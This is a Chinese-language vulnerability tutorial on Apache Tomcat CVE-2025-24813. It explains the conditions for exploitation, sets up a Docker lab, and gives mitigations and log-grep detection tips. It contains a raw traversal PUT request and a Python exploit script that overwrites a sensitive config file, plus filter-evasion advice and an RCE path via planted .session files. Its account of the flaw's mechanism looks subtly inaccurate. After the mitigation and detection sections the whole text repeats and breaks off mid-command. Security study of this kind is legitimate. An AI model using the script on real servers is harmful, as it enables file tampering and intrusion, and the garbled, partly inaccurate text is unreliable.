1. 漏洞概述与影响范围CVE-2025-24813一个在2025年初披露的Apache Tomcat高危漏洞其CVSS 3.x评分一度高达9.8分CRITICAL被美国网络安全和基础设施安全局CISA列入已知被利用漏洞目录。这个漏洞的独特之处在于它并非一个直接的代码执行点而是通过一个看似不起眼的路径等价性问题串联起多个默认或常见的配置最终可能导向远程代码执行RCE或敏感信息泄露。简单来说它像是一个精密的“多米诺骨牌”攻击链需要推倒一系列条件牌但一旦推倒后果严重。这个漏洞影响范围极广涵盖了当时几乎所有的主流Tomcat版本Apache Tomcat 11.x: 从 11.0.0-M1 到 11.0.2Apache Tomcat 10.1.x: 从 10.1.0-M1 到 10.1.34Apache Tomcat 9.x: 从 9.0.0.M1 到 9.0.98官方已确认在CVE发布时已结束生命周期EOL的Tomcat 8.5.x8.5.0 至 8.5.100也受影响。更老的EOL版本也可能存在风险。漏洞的核心是“路径等价file.Name内部点”。在类Unix系统和Windows系统中文件名中的点.通常有特殊含义例如“.”代表当前目录“..”代表上级目录。Tomcat的默认Servlet在处理文件上传请求时对路径规范化的逻辑存在缺陷未能正确处理文件名中间包含点如myfile.Name的情况导致攻击者可以构造特殊的请求绕过预期的目录限制将文件写入或覆盖到非预期的位置。注意这个漏洞的利用有两个主要方向一个是信息泄露/文件污染另一个是RCE。RCE路径的条件更为苛刻但一旦满足危害极大。我们复现的重点将放在理解漏洞原理和演示信息泄露路径上因为这是理解整个攻击链的基础且相对容易在测试环境中构建。2. 漏洞原理深度解析要彻底理解CVE-2025-24813我们需要拆解它的几个关键组件路径等价、默认Servlet的写权限、部分PUT请求以及会话持久化。这就像理解一个复杂机械的齿轮是如何咬合的。2.1 核心漏洞点路径等价Path Equivalence路径等价是许多安全问题的根源。在这个CVE中问题出在Tomcat对org.apache.catalina.servlets.DefaultServlet中资源路径的规范化处理上。当DefaultServlet处理一个PUT请求用于上传文件时它会将请求的URL路径映射到服务器文件系统的实际路径。假设我们有一个允许文件上传的目录对应URL路径/uploads/。正常情况下向/uploads/test.txt发送PUT请求会在服务器的/var/www/app/uploads/test.txt位置创建文件。漏洞在于如果请求的路径是/uploads/../WEB-INF/web.xmlTomcat的路径规范化逻辑本应阻止这种目录遍历将../解析掉。但是当文件名本身包含点例如请求路径为/uploads/test.File时在某些情况下Tomcat的规范化逻辑可能会产生误判未能正确地将这个请求限制在uploads目录内而是允许了某种形式的路径穿越。更具体地说攻击者可以尝试利用“内部点”来混淆路径解析器。例如构造一个看似在uploads目录下的文件名如test./../WEB-INF/web.xml。在某些解析阶段test.可能被当作一个目录名尽管它以一个点结尾然后../得以生效从而实现跳出限制目录。NVD描述中的file.Name内部点指的就是这种在文件名中间而非末尾出现的点字符所引发的解析歧义。2.2 攻击链的必要条件漏洞的威力在于组合拳。单有路径等价问题还不够需要其他配置“配合”才能形成攻击。官方描述明确列出了两组条件。对于信息泄露/文件污染攻击需要同时满足默认Servlet写权限启用默认禁用在Tomcat的conf/web.xml中DefaultServlet的配置默认是只读的readonly参数为true。管理员必须显式地将其设置为false才能允许通过HTTP PUT方法上传文件。部分PUT支持默认启用Tomcat默认支持HTTP的Content-Range头部允许客户端分块上传文件即部分PUT。这为攻击者精细控制写入内容提供了可能。敏感文件上传路径是公共上传路径的子目录这是利用路径穿越的关键。例如应用设计可能将用户上传的公开图片放在/uploads/public/而将后台管理员上传的配置文件放在/uploads/public/admin/config/。后者就是前者的子目录。攻击者知晓敏感文件名攻击者需要知道目标敏感文件的具体名称例如database.properties。敏感文件也通过部分PUT上传目标敏感文件本身是通过支持Content-Range的PUT请求上传的。这使得攻击者可以“拼接”进恶意内容。当这些条件齐备时攻击者可以向公共上传目录如/uploads/public/发起一个精心构造的部分PUT请求利用路径等价漏洞使得Tomcat误以为该请求的目标是子目录下的敏感文件如/uploads/public/admin/config/database.properties从而覆盖或篡改该敏感文件导致信息泄露或应用逻辑被破坏。对于远程代码执行RCE攻击条件更为苛刻前两个条件写权限、部分PUT与上述相同。 3.应用使用Tomcat基于文件的会话持久化且为默认存储位置Tomcat可以将用户的HttpSession对象序列化后存储到磁盘文件通常位于$CATALINA_BASE/work/Catalina/[hostname]/[appname]/目录下以实现会话持久化。这需要应用在context.xml中配置Manager classNameorg.apache.catalina.session.PersistentManager ... /。 4.应用中包含可被反序列化利用的库这是实现RCE的“弹药”。攻击者需要目标应用的ClassPath中包含存在已知反序列化漏洞的库例如旧版本的Apache Commons Collections、Groovy、Spring框架等。当这些条件满足时攻击链如下攻击者首先利用路径等价和部分PUT将一个恶意的序列化对象精心构造以在反序列化时执行命令写入到Tomcat的会话持久化存储目录中并伪装成一个合法的会话文件.session后缀。随后通过某种方式例如诱使用户触发、或利用其他漏洞使Tomcat加载反序列化这个恶意会话文件从而触发反序列化漏洞执行任意代码。2.3 为什么这个漏洞危险部分条件默认开启部分PUT支持是Tomcat默认开启的功能这降低了攻击门槛。配置误区常见出于方便一些开发或运维人员可能会开启DefaultServlet的写权限用于简单的文件管理或调试却忽略了其安全风险。攻击链隐蔽最终的RCE需要依赖第三方库的反序列化漏洞这可能会让排查人员忽略Tomcat本身的问题将焦点错误地放在应用依赖上。影响版本广泛覆盖了Tomcat 9, 10, 11三个主要系列的大量版本包括许多正在线上运行的稳定版本。3. 实验环境搭建与配置为了安全地复现和理解这个漏洞我们必须在一个隔离的实验室环境中进行。以下是我搭建测试环境的详细步骤和避坑指南。3.1 环境准备我选择使用Docker来快速构建一个可重复、易销毁的测试环境。这比在物理机或虚拟机上安装配置要快捷干净得多。拉取漏洞版本Tomcat镜像我们选择Tomcat 9.0.98这是受影响的最新版本之一。docker pull tomcat:9.0.98-jdk11-temurin这里选择jdk11-temurin标签是为了确保有完整的JDK环境方便后续可能需要的编译或调试。创建用于挂载的本地目录我们需要将Tomcat的配置目录和web应用目录挂载出来以便修改配置和部署我们的测试应用。mkdir -p ~/cve-2025-24813-lab/{conf,webapps,logs,work}启动一个临时容器以提取默认配置docker run -d --name temp-tomcat tomcat:9.0.98-jdk11-temurin docker cp temp-tomcat:/usr/local/tomcat/conf/ ~/cve-2025-24813-lab/ docker stop temp-tomcat docker rm temp-tomcat现在~/cve-2025-24813-lab/conf/目录下就有了完整的Tomcat配置文件。3.2 关键漏洞条件配置复现漏洞的核心是模拟出那“一整套”条件。我们重点配置信息泄露攻击路径的条件。启用DefaultServlet的写权限 编辑~/cve-2025-24813-lab/conf/web.xml。找到DefaultServlet的配置部分通常在文件靠后位置。将readonly初始化参数从true改为false。servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namedebug/param-name param-value0/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param !-- 关键修改启用写权限 -- init-param param-namereadonly/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet实操心得在生产环境中绝对不要为了图方便而开启这个选项。文件上传功能应该由应用自身在受控的Servlet中实现并进行严格的文件类型、大小、路径校验。确保部分PUT支持Tomcat默认是支持的我们无需额外配置。可以通过检查conf/web.xml中关于DefaultServlet的servlet-mapping来确认它对PUT方法的处理。通常映射为/意味着处理所有静态资源请求。创建模拟应用结构 在~/cve-2025-24813-lab/webapps/下创建一个测试应用目录vuln-app并模拟出“公共上传目录”和其“敏感子目录”的结构。cd ~/cve-2025-24813-lab/webapps/ mkdir -p vuln-app/uploads/public mkdir -p vuln-app/uploads/public/admin/secretuploads/public/模拟公共可上传区域。uploads/public/admin/secret/模拟存储敏感文件如配置文件的子目录。根据漏洞条件这个目录必须是公共目录的子目录。准备一个“敏感文件” 我们在secret目录下先放一个模拟的配置文件并确保它是通过PUT请求模拟上传创建的。我们可以用简单的Python HTTP客户端来模拟这个上传。echo database.passwordSuperSecret123 ~/cve-2025-24813-lab/webapps/vuln-app/uploads/public/admin/secret/config.properties但更符合“通过部分PUT上传”的条件是我们稍后用攻击脚本去创建或覆盖它。3.3 启动漏洞环境现在用修改后的配置启动Tomcat容器。我们将配置目录、应用目录、日志和工作目录都挂载进去。docker run -d \ --name tomcat-cve-2025-24813 \ -p 8080:8080 \ -v ~/cve-2025-24813-lab/conf:/usr/local/tomcat/conf \ -v ~/cve-2025-24813-lab/webapps:/usr/local/tomcat/webapps \ -v ~/cve-2025-24813-lab/logs:/usr/local/tomcat/logs \ -v ~/cve-2025-24813-lab/work:/usr/local/tomcat/work \ tomcat:9.0.98-jdk11-temurin检查容器是否正常运行docker logs tomcat-cve-2025-24813 --tail 50你应该能看到Tomcat成功启动的日志。访问http://localhost:8080应该能看到Tomcat的默认主页。访问http://localhost:8080/vuln-app/uploads/public/可能会返回403禁止目录列表或404这没关系只要应用上下文能访问即可。注意事项在实验过程中务必确保这台实验主机没有暴露在公网且防火墙规则仅允许本地访问。我们是在完全可控的环境下进行漏洞研究。4. 漏洞复现与利用过程详解理解了原理搭建好了环境现在我们来亲手触发这个漏洞。我们将编写一个Python脚本来模拟攻击者演示如何利用路径等价问题从公共上传目录“穿越”到敏感子目录并覆盖其中的文件。4.1 构造攻击请求攻击的核心是发送一个特殊的HTTP PUT请求。这个请求需要满足目标URL指向公共上传目录下的一个包含内部点的文件名。Content-Range头部用于指定这是文件的一部分实现部分写入。请求体我们想要注入到目标敏感文件中的恶意内容。假设我们的目标敏感文件是/vuln-app/uploads/public/admin/secret/config.properties。 根据漏洞原理我们可以尝试构造这样一个PUT请求PUT /vuln-app/uploads/public/test./../admin/secret/config.properties HTTP/1.1 Host: localhost:8080 Content-Range: bytes 0-29/* Content-Length: 30 database.passwordHackedPassword关键点解析路径/vuln-app/uploads/public/test./../admin/secret/config.propertiestest.这是一个以点结尾的“文件名”或“目录名”。Tomcat的路径规范化逻辑在处理这个点时可能出现歧义。../由于test.可能被异常解析使得这个../得以生效向上跳出一级目录。最终攻击者意图让Tomcat将这个请求解析为对/vuln-app/uploads/public/admin/secret/config.properties的写入但实际上请求的起点是/vuln-app/uploads/public/。Content-Range: bytes 0-29/*表示这是文件从第0字节到第29字节的内容共30字节。*表示文件总长度未知。这个头部触发了Tomcat的部分PUT处理逻辑。请求体我们试图将敏感配置文件中的密码修改为HackedPassword。4.2 编写复现脚本下面是一个使用Pythonrequests库的复现脚本。它更清晰地展示了攻击过程并包含了错误处理。#!/usr/bin/env python3 CVE-2025-24813 漏洞复现脚本 (信息泄露/文件污染路径演示) 目标利用路径等价漏洞从公共上传目录穿越到子目录覆盖敏感文件。 注意仅用于授权测试和教育目的。 import requests import sys def exploit_cve_2025_24813(target_url, public_upload_path, sensitive_file_relative_path, malicious_content): 尝试利用CVE-2025-24813漏洞。 Args: target_url (str): 目标Tomcat基础URL如 http://192.168.1.100:8080 public_upload_path (str): 公共上传目录的URL路径如 /vuln-app/uploads/public/ sensitive_file_relative_path (str): 敏感文件相对于公共上传目录的路径如 admin/secret/config.properties malicious_content (bytes): 要写入的恶意内容字节串 # 1. 构造恶意路径在公共路径后添加一个带内部点的虚假段再接上 ../ 和敏感文件路径 # 例如/vuln-app/uploads/public/poc./../admin/secret/config.properties # 注意这里使用poc.作为虚假目录名点号是关键。 exploit_path public_upload_path.rstrip(/) /poc./../ sensitive_file_relative_path.lstrip(/) full_url target_url exploit_path print(f[*] 目标URL: {full_url}) print(f[*] 期望覆盖的敏感文件: {public_upload_path.rstrip(/)}/{sensitive_file_relative_path}) print(f[*] 恶意内容: {malicious_content.decode(utf-8, errorsignore)}) # 2. 准备请求头 headers { Host: target_url.split(//)[1].split(:)[0], # 提取主机名 Content-Range: fbytes 0-{len(malicious_content)-1}/*, # 部分PUT请求头 Content-Type: application/octet-stream, } # 3. 发送PUT请求 print(f[*] 发送恶意PUT请求...) try: response requests.put(full_url, datamalicious_content, headersheaders, timeout10) print(f[] 服务器响应状态码: {response.status_code}) print(f[] 服务器响应体: {response.text[:200]}) # 只打印前200字符 except requests.exceptions.RequestException as e: print(f[-] 请求失败: {e}) sys.exit(1) # 4. 验证攻击是否成功 # 尝试读取被覆盖的敏感文件通过GET请求 verify_url target_url public_upload_path.rstrip(/) / sensitive_file_relative_path.lstrip(/) print(f\n[*] 尝试验证文件内容访问: {verify_url}) try: verify_resp requests.get(verify_url, timeout10) if verify_resp.status_code 200: current_content verify_resp.text print(f[] 敏感文件当前内容: {current_content[:500]}) if malicious_content.decode(utf-8) in current_content: print([!!!] 漏洞利用成功敏感文件已被篡改。) else: print([-] 文件内容未被篡改或篡改内容不匹配。可能原因) print( - 路径构造未触发漏洞) print( - 目标文件不存在或不可写) print( - Tomcat配置不满足漏洞条件如readonly未设为false) else: print(f[-] 无法读取敏感文件HTTP状态码: {verify_resp.status_code}) except requests.exceptions.RequestException as e: print(f[-] 验证请求失败: {e}) if __name__ __main__: # 配置参数 - 根据你的实验环境修改 TARGET http://localhost:8080 PUBLIC_PATH /vuln-app/uploads/public/ SENSITIVE_FILE admin/secret/config.properties # 要注入的恶意内容 MALICIOUS_CONTENT bdatabase.passwordHackedByCVE202524813\nadmin.userattacker\n print(*60) print(CVE-2025-24813 Apache Tomcat 路径等价漏洞复现脚本) print(*60) exploit_cve_2025_24813(TARGET, PUBLIC_PATH, SENSITIVE_FILE, MALICIOUS_CONTENT)4.3 执行复现与结果分析运行脚本前确保你的Tomcat容器正在运行并且config.properties文件可能不存在我们脚本会创建它或存在旧内容。执行脚本python3 exploit_cve_2025_24813.py观察输出脚本会打印出构造的恶意URL。发送PUT请求后会显示Tomcat的响应状态码。如果返回201 Created或204 No Content通常表示文件写入成功。200 OK也可能表示成功替换。403 Forbidden或409 Conflict可能表示权限问题或路径问题。随后脚本会尝试GET请求那个敏感文件路径并打印其内容。成功的迹象PUT请求返回2xx状态码。后续GET请求返回的内容中包含我们注入的database.passwordHackedByCVE202524813。失败的可能原因与排查返回403检查Tomcat的web.xml中DefaultServlet的readonly是否已设为false。检查应用目录的Linux文件系统权限确保Tomcat进程通常用户是tomcat或容器内的root有写入权限。可以进入容器内部检查docker exec -it tomcat-cve-2025-24813 bash然后尝试在webapps目录下创建文件。返回404检查PUT请求的URL路径是否正确应用上下文vuln-app是否存在。确保uploads/public/目录已创建。返回409或其他错误可能是路径规范化逻辑成功阻止了穿越我们的路径构造方式不对。可以尝试其他变体如将poc.改为test..双点或poc././等或者调整../的位置。这正是漏洞利用需要技巧的地方需要根据目标Tomcat的细微版本差异进行模糊测试。写入成功但GET不到可能是写入的位置和我们预期读取的位置不同。检查Tomcat的工作目录work或者查看Tomcat的日志文件logs/catalina.out或logs/localhost.log里面可能会有关于文件操作的错误或访问日志。实操心得在实际测试中我发现在某些Tomcat小版本上路径构造需要一些“技巧”。例如有时需要使用URL编码如将.编码为%2e将/编码为%2f来绕过一些简单的字符串过滤。复现的关键在于耐心地尝试不同的路径变形并密切观察Tomcat的日志反馈。5. 深入探索RCE攻击链的构建思路信息泄露和文件污染已经足够危险但安全研究人员更关注的是如何将漏洞升级为RCE。如前所述这需要两个额外条件文件会话持久化和存在反序列化漏洞的库。这里我们探讨一下这个攻击链的构建思路由于涉及制作恶意序列化载荷这部分仅作原理性探讨不建议在没有完全隔离的沙箱中执行。5.1 条件准备启用文件会话持久化首先需要在测试应用中启用Tomcat的持久化会话管理器。编辑~/cve-2025-24813-lab/webapps/vuln-app/META-INF/context.xml如果不存在则创建?xml version1.0 encodingUTF-8? Context Manager classNameorg.apache.catalina.session.PersistentManager saveOnRestarttrue maxActiveSessions-1 minIdleSwap-1 maxIdleSwap-1 maxIdleBackup-1 Store classNameorg.apache.catalina.session.FileStore directory./session_data / /Manager /Context这将会话文件存储在应用工作目录下的session_data文件夹中。重启Tomcat后当应用创建会话时就能在work/Catalina/localhost/vuln-app/session_data/下看到.session文件。5.2 利用链的核心写入恶意会话文件攻击者的目标不再是覆盖一个properties文件而是向这个会话目录写入一个恶意的.session文件。假设攻击者通过信息泄露或其他手段知道了会话文件的命名规则通常是[sessionid].session和存储路径。利用CVE-2025-24813攻击者可以构造这样一个PUT请求PUT /vuln-app/uploads/public/evil./../WEB-INF/../session_data/恶意.session HTTP/1.1 ...通过路径穿越最终将恶意序列化数据写入到session_data目录。这里的路径构造需要更精确需要知道会话存储目录相对于应用根目录的实际路径。5.3 触发反序列化加载恶意会话最后一步是让Tomcat加载这个恶意会话文件。这通常更难因为需要让服务器主动去反序列化这个文件。有几种可能的方式会话固定攻击如果攻击者能预测或控制会话ID并且服务器在会话不存在时会尝试从持久化存储中加载那么攻击者可能通过使用特定会话ID访问应用来触发加载。服务器重启如果配置了saveOnRestarttrueTomcat重启时会加载持久化的会话。攻击者写入文件后等待或促使服务器重启这在实际攻击中不现实。结合其他漏洞例如一个SSRF漏洞可以让攻击者从内部请求这个会话文件或者一个反序列化入口点被触发。关键难点即使写入了恶意会话文件也需要一个合适的“反序列化gadget链”即存在漏洞的库如Commons Collections 3.2.1在应用的ClassPath中恶意载荷才能成功执行命令。这需要攻击者对目标应用的依赖有深入了解。重要警告RCE复现的复杂性和危险性远高于信息泄露复现。它需要精确的环境搭建、特定的第三方库以及可能对测试机造成损害的Payload。对于学习和研究理解其原理和攻击链即可不建议在非专业隔离环境中进行完整的RCE复现。6. 漏洞修复与缓解措施复现漏洞是为了更好地防御它。Apache官方已经发布了修复版本Tomcat 11.0.3, 10.1.35, 9.0.99。升级是最直接有效的方案。6.1 官方补丁分析官方修复的核心是改进了org.apache.tomcat.util.http.parser.HttpParser和org.apache.catalina.servlets.DefaultServlet中对请求URI路径的规范化逻辑确保在任何情况下都能正确解析和过滤包含内部点.的路径片段防止其被用于目录遍历。升级时务必从Apache官方镜像或官网下载并验证文件的哈希值防止供应链攻击。6.2 临时缓解方案如果无法立即升级可以采取以下缓解措施这些措施本质上是打破漏洞利用所需的“条件链”禁用DefaultServlet的写权限最有效检查所有应用的web.xml以及conf/web.xml确保所有DefaultServlet的readonly初始化参数均为true默认值。这是根治此类通过DefaultServlet进行文件上传攻击的方法。init-param param-namereadonly/param-name param-valuetrue/param-value /init-param禁用部分PUT支持在conf/web.xml的DefaultServlet配置中添加allowPartialPut参数并将其设为false。这会禁用Content-Range支持阻断利用关键一环。init-param param-nameallowPartialPut/param-name param-valuefalse/param-value /init-param审查应用配置避免使用Tomcat内置的会话持久化评估应用是否真的需要PersistentManager。对于大多数集群场景更推荐使用Redis、Memcached等外部会话存储方案它们更安全、性能更好。清理ClassPath中的危险库定期使用OWASP Dependency-Check等工具扫描项目依赖移除或升级存在已知反序列化漏洞的库如老版本的Commons Collections、Fastjson等。网络层防护在WAFWeb应用防火墙上配置规则拦截包含异常路径序列如/..、/.、文件名中含有点号后接斜杠等模式的PUT请求。严格限制使用HTTP PUT方法的URL路径。6.3 安全配置检查清单养成定期安全检查的习惯以下清单有助于降低Tomcat服务器的整体风险[ ] 是否运行了受CVE-2025-24813影响的Tomcat版本(9.0.0.M1 ≤ 版本 ≤ 9.0.98, 10.1.0-M1 ≤ 版本 ≤ 10.1.34, 11.0.0-M1 ≤ 版本 ≤ 11.0.2)[ ]conf/web.xml中所有DefaultServlet的readonly参数是否为true[ ] 是否在conf/web.xml中为DefaultServlet显式设置了allowPartialPutfalse[ ] 应用是否使用了PersistentManager进行文件会话持久化如果是考虑迁移方案。[ ] 应用依赖中是否包含已知存在反序列化漏洞的库[ ] 服务器上的文件上传功能是否由应用自身实现并进行了严格的类型、大小、路径校验[ ] 是否遵循最小权限原则Tomcat进程是否以非root用户运行7. 排查技巧与防御思考在应急响应或日常巡检中如何发现和排查CVE-2025-24813的利用迹象以下是一些实战思路。7.1 入侵检测与日志分析Tomcat的访问日志(logs/localhost_access_log.*.txt)是首要分析目标。关注以下特征的PUT请求异常的路径序列查找包含..、.%2e、%2e%2e、/./、或者文件名部分包含点号后紧跟斜杠/的URL。特定的User-Agent自动化攻击工具可能有特定的UA字符串。来源IP异常来自不常见地区或IP的PUT请求。例如在日志中搜索PUT方法和包含..或%2e的请求行grep -E \PUT.*(\.\.|%2e).*HTTP localhost_access_log.2025-03-20.txt同时检查Tomcat的应用日志(logs/catalina.out,logs/localhost.log)是否有关于文件写入失败、路径解析错误的异常堆栈信息。7.2 文件系统监控如果怀疑已被入侵检查可能被写入恶意文件的位置DefaultServlet可写目录检查所有Web应用目录下是否存在异常的上传文件特别是位于WEB-INF、META-INF或敏感配置目录附近的文件。Tomcat会话持久化目录检查work/Catalina/[hostname]/[appname]/下的会话存储目录查看是否有异常时间戳、异常大小的.session文件。Web根目录下的可疑文件如.jsp,.war等可执行文件。可以使用文件完整性监控工具如AIDE、Tripwire或简单的脚本定期校验关键目录文件的哈希值。7.3 防御性编程与架构建议从开发和安全运维角度根本的防御在于规范和架构原则永不信任用户输入。所有用户提供的路径、文件名参数必须进行严格的规范化使用getCanonicalPath()和白名单校验。禁用不必要的HTTP方法在反向代理如Nginx或Tomcat的conf/web.xml中通过security-constraint限制只有GET、POST等必要方法可用。使用专用文件服务对于文件上传下载建议使用MinIO、AWS S3等对象存储服务或通过专门的文件服务器处理与Web应用服务器分离。定期安全更新与扫描订阅Apache Tomcat安全公告建立规范的补丁更新流程。使用软件成分分析SCA工具持续扫描第三方依赖漏洞。通过这次对CVE-2025-24813从原理到复现的深度剖析我们可以看到一个高危漏洞往往是多个“安全债”叠加的结果。作为防御者我们的工作就是通过严格的安全配置、最小权限原则和深度防御策略不断抬高攻击者的成本确保我们的系统不会成为那个被推倒的“多米诺骨牌”。
1. 漏洞概述与影响范围CVE-2025-24813一个在2025年初披露的Apache Tomcat高危漏洞其CVSS 3.x评分一度高达9.8分CRITICAL被美国网络安全和基础设施安全局CISA列入已知被利用漏洞目录。这个漏洞的独特之处在于它并非一个直接的代码执行点而是通过一个看似不起眼的路径等价性问题串联起多个默认或常见的配置最终可能导向远程代码执行RCE或敏感信息泄露。简单来说它像是一个精密的“多米诺骨牌”攻击链需要推倒一系列条件牌但一旦推倒后果严重。这个漏洞影响范围极广涵盖了当时几乎所有的主流Tomcat版本Apache Tomcat 11.x: 从 11.0.0-M1 到 11.0.2Apache Tomcat 10.1.x: 从 10.1.0-M1 到 10.1.34Apache Tomcat 9.x: 从 9.0.0.M1 到 9.0.98官方已确认在CVE发布时已结束生命周期EOL的Tomcat 8.5.x8.5.0 至 8.5.100也受影响。更老的EOL版本也可能存在风险。漏洞的核心是“路径等价file.Name内部点”。在类Unix系统和Windows系统中文件名中的点.通常有特殊含义例如“.”代表当前目录“..”代表上级目录。Tomcat的默认Servlet在处理文件上传请求时对路径规范化的逻辑存在缺陷未能正确处理文件名中间包含点如myfile.Name的情况导致攻击者可以构造特殊的请求绕过预期的目录限制将文件写入或覆盖到非预期的位置。注意这个漏洞的利用有两个主要方向一个是信息泄露/文件污染另一个是RCE。RCE路径的条件更为苛刻但一旦满足危害极大。我们复现的重点将放在理解漏洞原理和演示信息泄露路径上因为这是理解整个攻击链的基础且相对容易在测试环境中构建。2. 漏洞原理深度解析要彻底理解CVE-2025-24813我们需要拆解它的几个关键组件路径等价、默认Servlet的写权限、部分PUT请求以及会话持久化。这就像理解一个复杂机械的齿轮是如何咬合的。2.1 核心漏洞点路径等价Path Equivalence路径等价是许多安全问题的根源。在这个CVE中问题出在Tomcat对org.apache.catalina.servlets.DefaultServlet中资源路径的规范化处理上。当DefaultServlet处理一个PUT请求用于上传文件时它会将请求的URL路径映射到服务器文件系统的实际路径。假设我们有一个允许文件上传的目录对应URL路径/uploads/。正常情况下向/uploads/test.txt发送PUT请求会在服务器的/var/www/app/uploads/test.txt位置创建文件。漏洞在于如果请求的路径是/uploads/../WEB-INF/web.xmlTomcat的路径规范化逻辑本应阻止这种目录遍历将../解析掉。但是当文件名本身包含点例如请求路径为/uploads/test.File时在某些情况下Tomcat的规范化逻辑可能会产生误判未能正确地将这个请求限制在uploads目录内而是允许了某种形式的路径穿越。更具体地说攻击者可以尝试利用“内部点”来混淆路径解析器。例如构造一个看似在uploads目录下的文件名如test./../WEB-INF/web.xml。在某些解析阶段test.可能被当作一个目录名尽管它以一个点结尾然后../得以生效从而实现跳出限制目录。NVD描述中的file.Name内部点指的就是这种在文件名中间而非末尾出现的点字符所引发的解析歧义。2.2 攻击链的必要条件漏洞的威力在于组合拳。单有路径等价问题还不够需要其他配置“配合”才能形成攻击。官方描述明确列出了两组条件。对于信息泄露/文件污染攻击需要同时满足默认Servlet写权限启用默认禁用在Tomcat的conf/web.xml中DefaultServlet的配置默认是只读的readonly参数为true。管理员必须显式地将其设置为false才能允许通过HTTP PUT方法上传文件。部分PUT支持默认启用Tomcat默认支持HTTP的Content-Range头部允许客户端分块上传文件即部分PUT。这为攻击者精细控制写入内容提供了可能。敏感文件上传路径是公共上传路径的子目录这是利用路径穿越的关键。例如应用设计可能将用户上传的公开图片放在/uploads/public/而将后台管理员上传的配置文件放在/uploads/public/admin/config/。后者就是前者的子目录。攻击者知晓敏感文件名攻击者需要知道目标敏感文件的具体名称例如database.properties。敏感文件也通过部分PUT上传目标敏感文件本身是通过支持Content-Range的PUT请求上传的。这使得攻击者可以“拼接”进恶意内容。当这些条件齐备时攻击者可以向公共上传目录如/uploads/public/发起一个精心构造的部分PUT请求利用路径等价漏洞使得Tomcat误以为该请求的目标是子目录下的敏感文件如/uploads/public/admin/config/database.properties从而覆盖或篡改该敏感文件导致信息泄露或应用逻辑被破坏。对于远程代码执行RCE攻击条件更为苛刻前两个条件写权限、部分PUT与上述相同。 3.应用使用Tomcat基于文件的会话持久化且为默认存储位置Tomcat可以将用户的HttpSession对象序列化后存储到磁盘文件通常位于$CATALINA_BASE/work/Catalina/[hostname]/[appname]/目录下以实现会话持久化。这需要应用在context.xml中配置Manager classNameorg.apache.catalina.session.PersistentManager ... /。 4.应用中包含可被反序列化利用的库这是实现RCE的“弹药”。攻击者需要目标应用的ClassPath中包含存在已知反序列化漏洞的库例如旧版本的Apache Commons Collections、Groovy、Spring框架等。当这些条件满足时攻击链如下攻击者首先利用路径等价和部分PUT将一个恶意的序列化对象精心构造以在反序列化时执行命令写入到Tomcat的会话持久化存储目录中并伪装成一个合法的会话文件.session后缀。随后通过某种方式例如诱使用户触发、或利用其他漏洞使Tomcat加载反序列化这个恶意会话文件从而触发反序列化漏洞执行任意代码。2.3 为什么这个漏洞危险部分条件默认开启部分PUT支持是Tomcat默认开启的功能这降低了攻击门槛。配置误区常见出于方便一些开发或运维人员可能会开启DefaultServlet的写权限用于简单的文件管理或调试却忽略了其安全风险。攻击链隐蔽最终的RCE需要依赖第三方库的反序列化漏洞这可能会让排查人员忽略Tomcat本身的问题将焦点错误地放在应用依赖上。影响版本广泛覆盖了Tomcat 9, 10, 11三个主要系列的大量版本包括许多正在线上运行的稳定版本。3. 实验环境搭建与配置为了安全地复现和理解这个漏洞我们必须在一个隔离的实验室环境中进行。以下是我搭建测试环境的详细步骤和避坑指南。3.1 环境准备我选择使用Docker来快速构建一个可重复、易销毁的测试环境。这比在物理机或虚拟机上安装配置要快捷干净得多。拉取漏洞版本Tomcat镜像我们选择Tomcat 9.0.98这是受影响的最新版本之一。docker pull tomcat:9.0.98-jdk11-temurin这里选择jdk11-temurin标签是为了确保有完整的JDK环境方便后续可能需要的编译或调试。创建用于挂载的本地目录我们需要将Tomcat的配置目录和web应用目录挂载出来以便修改配置和部署我们的测试应用。mkdir -p ~/cve-2025-24813-lab/{conf,webapps,logs,work}启动一个临时容器以提取默认配置docker run -d --name temp-tomcat tomcat:9.0.98-jdk11-temurin docker cp temp-tomcat:/usr/local/tomcat/conf/ ~/cve-2025-24813-lab/ docker stop temp-tomcat docker rm temp-tomcat现在~/cve-2025-24813-lab/conf/目录下就有了完整的Tomcat配置文件。3.2 关键漏洞条件配置复现漏洞的核心是模拟出那“一整套”条件。我们重点配置信息泄露攻击路径的条件。启用DefaultServlet的写权限 编辑~/cve-2025-24813-lab/conf/web.xml。找到DefaultServlet的配置部分通常在文件靠后位置。将readonly初始化参数从true改为false。servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namedebug/param-name param-value0/param-value /init-param init-param param-namelistings/param-name param-valuefalse/param-value /init-param !-- 关键修改启用写权限 -- init-param param-namereadonly/param-name param-valuefalse/param-value /init-param load-on-startup1/load-on-startup /servlet实操心得在生产环境中绝对不要为了图方便而开启这个选项。文件上传功能应该由应用自身在受控的Servlet中实现并进行严格的文件类型、大小、路径校验。确保部分PUT支持Tomcat默认是支持的我们无需额外配置。可以通过检查conf/web.xml中关于DefaultServlet的servlet-mapping来确认它对PUT方法的处理。通常映射为/意味着处理所有静态资源请求。创建模拟应用结构 在~/cve-2025-24813-lab/webapps/下创建一个测试应用目录vuln-app并模拟出“公共上传目录”和其“敏感子目录”的结构。cd ~/cve-2025-24813-lab/webapps/ mkdir -p vuln-app/uploads/public mkdir -p vuln-app/uploads/public/admin/secretuploads/public/模拟公共可上传区域。uploads/public/admin/secret/模拟存储敏感文件如配置文件的子目录。根据漏洞条件这个目录必须是公共目录的子目录。准备一个“敏感文件” 我们在secret目录下先放一个模拟的配置文件并确保它是通过PUT请求模拟上传创建的。我们可以用简单的Python HTTP客户端来模拟这个上传。echo database.passwordSuperSecret123 ~/cve-2025-24813-lab/webapps/vuln-app/uploads/public/admin/secret/config.properties但更符合“通过部分PUT上传”的条件是我们稍后用攻击脚本去创建或覆盖它。3.3 启动漏洞环境现在用修改后的配置启动Tomcat容器。我们将配置目录、应用目录、日志和工作目录都挂载进去。docker run -d \ --name tomcat-cve-2025-24813 \ -p 8080:8080 \ -v ~/cve-2025-24813-lab/conf:/usr/local/tomcat/conf \ -v ~/cve-2025-24813-lab/webapps:/usr/local/tomcat/webapps \ -v ~/cve-2025-24813-lab/logs:/usr/local/tomcat/logs \ -v ~/cve-2025-24813-lab/work:/usr/local/tomcat/work \ tomcat:9.0.98-jdk11-temurin检查容器是否正常运行docker logs 